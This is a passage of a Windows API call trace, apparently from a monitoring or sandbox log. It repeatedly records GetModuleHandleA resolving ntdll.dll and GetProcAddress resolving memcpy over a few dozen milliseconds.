[0056.836] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.836] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.836] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.836] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.836] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.836] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.836] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.837] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.837] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.837] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.837] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.837] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.837] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.837] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.837] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.837] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.837] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.837] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.838] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.838] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.838] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.838] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.838] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.838] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.838] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.838] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.839] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.839] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.839] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.839] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.839] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.839] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.839] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.839] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.839] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.839] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.839] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.840] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.840] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.840] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.840] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.840] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.840] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.840] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.840] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.840] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.840] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.841] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.841] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.841] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.841] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.841] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.841] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.841] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.841] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.841] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.841] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.841] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.842] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.842] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.842] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.842] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.842] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.842] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.842] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.842] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.842] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.842] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.843] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.843] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.843] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.843] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.843] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.843] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.843] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.843] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.843] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.844] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.844] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.844] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.844] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.844] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.844] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.844] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.844] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.844] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.844] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.845] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.845] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.845] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.845] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.845] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.845] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.845] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.845] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.845] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.845] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.846] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.846] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.846] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.846] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.846] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.846] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.846] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.846] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.846] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.846] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.847] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.847] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.847] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.847] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.847] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.847] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.847] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.847] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.847] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.847] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.848] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.848] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.848] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.848] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.848] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.848] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.848] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.848] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.848] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.848] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.848] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.849] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.849] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.849] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.849] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.849] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.849] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.849] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.849] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.849] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.849] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.850] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.850] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.850] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.850] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.850] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.850] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.850] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.850] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.850] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.850] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.851] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.851] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.851] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.851] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.851] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.851] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.851] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.851] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.851] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.851] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.852] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.852] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.852] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.852] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.852] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.852] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.852] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.852] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.852] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.852] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.853] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.853] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.853] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.853] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.853] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.853] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.853] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.853] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.853] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.853] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.854] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.854] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.854] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.854] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.854] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.854] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.854] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.854] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.854] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.855] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.855] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.855] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.855] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.855] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.855] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.855] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.855] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.855] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.855] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.856] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.856] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.856] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.856] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.856] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.856] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.856] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.856] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.856] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.856] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.857] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.857] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.857] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.857] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.857] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.857] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.857] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.857] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.857] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.857] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.858] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.858] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.858] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.858] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.858] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.858] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.858] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.858] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.858] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.858] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.859] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.859] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.859] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.859] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.859] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.859] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.859] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.859] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.859] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.859] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.860] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.860] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.860] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.860] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.860] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.860] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.860] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.860] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.860] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.860] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.860] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.861] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.861] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.861] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.861] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.861] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.861] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.861] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.861] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.861] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.861] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.862] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.862] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.862] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.862] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.862] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.862] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.862] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.862] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.862] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.862] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.863] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.863] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.863] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.863] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.863] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.863] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.863] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.863] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.863] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.863] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.864] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.864] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.864] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.864] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.864] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.864] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.864] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.864] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.864] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.864] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.865] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.865] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.865] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.865] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.865] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.865] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.865] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.865] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.865] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.866] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.866] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.866] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.866] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.866] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.866] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.866] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.867] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.867] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.867] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.867] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.867] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.867] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.868] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.868] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.868] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.868] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.868] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.868] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.869] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.869] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.869] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.869] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.869] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.869] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.869] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.870] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.870] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.870] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.871] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.871] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.871] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.871] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.871] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.871] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.871] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.871] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.871] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.871] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.872] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.872] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.872] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.872] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.872] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.872] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.872] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.872] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.872] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.872] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.873] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.873] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.873] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.873] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.873] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.873] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.873] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.873] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.873] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.873] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.873] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.874] 